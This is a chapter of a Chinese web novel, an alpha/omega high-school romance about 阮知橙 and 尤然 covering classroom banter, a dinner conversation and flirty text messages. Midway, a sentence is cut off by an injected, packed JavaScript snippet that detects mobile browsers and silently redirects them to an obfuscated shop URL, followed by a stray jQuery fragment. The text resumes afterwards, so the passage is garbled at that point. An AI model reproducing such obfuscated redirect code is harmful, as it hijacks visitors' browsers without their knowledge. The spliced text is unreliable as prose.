尤然抱着YOYO下楼时,阮知橙恰好写下最后一点。
他松了口气,察觉到两道幽幽的视线。
“怎么了?”
阮知橙右眼皮跳得厉害,仿佛有什么事脱离了他的掌控。
尤然摇了摇头,垂下眼睫,“我想了一下,发现自己最近对你太狠了。”
“你这又——”
上官鹤戛然而止,他表情抽搐,小臂传来阵阵揪心的疼痛感。
“小鹤,可以帮我算一下这道题吗?我算不出来。”
路月若无其事地松开抓住上官鹤的手,将草稿本拽到男朋友眼前。
他刻意低下头,余光却瞥着尤然。
“没有啊!”
阮知橙头邀地和拨浪鼓似的,“是我的错才对!”
尤然叹息,走下楼放YOYO去玩,随后坐回到阮知橙身边,“你有哪些不会吗?”
阮知橙心上痒得厉害,但尤然这样说他也不敢追问,迅速拿起题指给尤然……
***
新的一周。
阮知橙倒是不在课上打瞌睡了,他心不在焉地记下笔记,随后一张俊脸皱成了包子。
路月忍俊不禁,小声问:“没看懂?”
“不是,”阮知橙回过神,犹豫片刻后还是给路月解释,“是尤然,他最近对我很奇怪……”
路月了然,还没等他说话,台上化学老师叫起他名字,随后又叫起阮知橙,分别赏给两人一半黑板让做题。
路月:……
阮知橙:……
“哈哈哈哈哈哈哈!”刘石拍着大腿狂笑,化学老师眼一眯。
“刘石,氨基酸脱水缩合成肽,氨基剩下的-NH-和羧基剩下的-CO-连在一起的那个地方叫什么?”
“我不知道啊老师,”刘石站起来呲牙乐。
“其他同学告诉他。”
“肽键!”
说完后,全班哄堂大笑。
刘石一人懵:“我擦……和朋友犯贱不是很正常吗?”
潘巧巧乐得直拍桌子,“人说啥你说啥?刘石,你就庆幸你还有个当局长的爸吧哈哈哈要不然你下半辈子完蛋了!”
“没救了,真的没救了。”
黄元摇头,瞧着老师没注意到自己,随即借书挡着给小姐妹发新的虐心be文去了。
潘巧巧余光扫到,“昨晚你推给我的?”
“嗯,她看见我留言去网站写了,话说这篇好奇怪,为什么o莫名其妙地因为a不好好写作业就找别的a结婚去了?”黄元蹙起眉头,“作者是omega?”
“反正绝对不能是Alpha,”潘巧巧冷静分析,“没哪个Alpha这么离谱。”
台上的阮知橙莫名其妙打了个喷嚏,路月微微侧过身,露出了半个答案,阮知橙看了眼路月的方程式,默默把自己的改了。
……
下课后,阮知橙惆怅地看着窗外,乔朴垫着脚走来,倏忽大吼一声,“你在干什么!”
阮知橙耷拉着眼,“窗户反光。”
“给哥说说你今天是怎么了?”乔朴坐在路月的位置上勾住阮知橙的脖颈。
阮知橙长叹一口气,摇了摇头。
“你就放弃吧,橙子连我都没说,”潘巧巧道,“老方最近查手机查的严,你们怎么带进来的?”
“我和寸头里外结合,天衣无缝——”乔朴瞬间打起鸡血,“他在里面我就在外面,他零我二,我零他二。”
“别讲黄色段子,”黄元冷酷评价。
乔朴:“切,橙子呢?你咋带进来的?”
“我没带,”阮知橙推开乔朴的手。
“啊?”乔朴摸着下巴,满眼不可思议,“你没带?”
“嗯。”
见阮知橙不愿意多说一句话,乔朴也不追问,摆头寻找刘石,随即激动起来。
“你们看!寸头那家伙是不是找对象了!”
“在哪呢我瞅瞅?”
潘巧巧站起来使劲梗着脖子瞄,只见班门口楼道那块有道瘦小的身影站在刘石面前,手里拿着不知什么东西往刘石石怀里塞。
阮知橙看了一眼,这熟悉的身影……直觉告诉他这就是那晚巷子里的omega。
“哎哎哎!刘石那小子行不行啊!”潘巧巧和乔朴叫嚷,“接啊!他怎么就回来了!”
“接什么接?”刘石刚一进门就听这词,“看我我可是要收费的。”
乔朴一个翻身双手双脚紧紧吸住刘石,“说?什么情况?”
“哪来什么情况咳咳——”刘石被勒到翻白眼,他反手抓上乔朴的胳膊,“你他—妈快放手!”
“老实交代你们什么关系!”乔朴松了手,但还是扒着人不放。
“就我表弟!你他爹的快放手!”刘石涨红了脸,一胳膊肘将人捅了下去,“乔朴你要是再大逆不道我给你阉了!”
看着打闹的两人,潘巧巧悄悄问阮知橙:“你不觉得很奇怪吗?”
“那人我认识,确实是寸头的表弟,”阮知橙面不改色。
“原来如此。”
潘巧巧心里还是有种说不清的诡异感,但她也懒得想那么多,见阮知橙写题就离开了。
***
放学后,三人又来到了酸辣粉店。
上官鹤嗦了几口,问:“我给你两发信息你两咋都不回我?”
尤然:“没带手机。”
阮知橙:“手机放家了。”
听到阮知橙的回答,尤然眼里多出一抹笑意。
上官鹤震惊:“虽然方主任最近拿个金属探测器一直在校门口滴滴滴,但你两也不是怕他的人啊!”
“集训不让带手机,”尤然淡然道,“我提前适应。”
阮知橙和上官鹤相顾一眼,都表示不相信。
特别是阮知橙,自从前天晚上收到尤然不能像平常一样和他语音后,心里就像被蚂蚁筑窝似的难受。
“你也不沉迷手机呀,”上官鹤纳闷,“适应啥?”
尤然瞥阮知橙,“我手机上养了只猫,最近他有了比我更重要的事,不怎么粘我了——”
上官鹤不可置信:“你竟然会玩游戏?真的假的?还玩猫?”
阮知橙可比谁都知道尤然不喜欢玩游戏,不知道为什么,他总觉得尤然话里有话。
阮知橙止不住看向尤然,尤然却在这时移开视线。
“所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307662|198726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以,你很难受,不想再见它?”上官鹤挑眉,“平时你可没这么感性啊,我一直以为你是理性的代名词呢。”
尤然嘴角微弯,吸着可乐,“谁知道呢……或许哪天它蹭蹭我,我就心软了。”
蹭蹭?
阮知橙不由自主捏紧了筷子,脸颊渐渐染上绯色。
蹭蹭尤然嘛……
“程序员应该不会这么设置吧,”上官鹤分析,“你有没有充钱?说不定是因为你没有充钱买道具它才不理你了。”
尤然望着上官鹤弯起嘴角,上官鹤火速投降——尤然怎么可能不充钱?那可是他喜欢的东西啊!
……喜欢?
上官鹤收住思绪,大脑刺啦一声闪过亮光,他不动声色地扫过团在桌角乖乖嗦粉的阮知橙,心下有了一个大胆的计划。
夜晚,上官鹤掐着点给阮知橙发信息。
【鹤哥:你不是说要追尤然?
orange:嗯
鹤哥:所以你最近在干什么?
orange:完成他布置的学习任务】
上官鹤差点砸了手机。
【orange:怎么了?
鹤哥:你还有脸问怎么了???我对你无比失望,橙子,幸亏你不是我儿子
orange:自己打120进四医院,别让我动手】
a市第四医院是精神病院。
【鹤哥:别扯开话题,你现在到底在干啥?
orange:写作业
鹤哥:……
orange:?
鹤哥:所以说,你不追了?
orange:我在追
鹤哥:你搞笑吧你】
两人翻来覆去吵了几句后,上官鹤直截了当地转发自己收藏多年的秘籍。
阮知橙若有所思地打开了上官鹤转发来的链接——
如何让omega宠爱你一辈子。
他点进去看,里面内容很多,例如:
1,聊天时要说:
你讲,我一直在听。
我今天吃了一盘饺子,吃的我眼泪都出来了,你猜是啥馅的,爱你我已经沦陷了。
刚刚走路的时候骨头痛了,去医院拍X光一看,原来是我想你想到了骨子里。
……
看完几句,阮知橙感慨:“原来这就是说话的艺术吗?”
【鹤哥:你可别拿学业当盾牌,高二不谈你等着高三一边备考一边拉手亲嘴?
鹤哥:再说尤然马上就要去竞赛了,一连两月你见不着他人,万一他保送后尤霄给他直接扔国外公司了怎么办?
鹤哥:不表白也行,至少你也要来点行动告诉他你爱他爱到要死行吗?
鹤哥:现在就去!冲!】
隔壁别墅,尤然随意披着浴衣从浴室走出,水滴从黑发打在锁骨上,在白里透红的皮肤上留下一串水印。
手机传来特定的铃声,尤然眼里一亮,他几步上前拿起手机。
【orange:我看你越来越讨厌了】
尤然的心狠狠一坠,仿若如掉冰窟,下一秒,又弹出一条信息。
【orange:讨人喜欢却又百看不厌】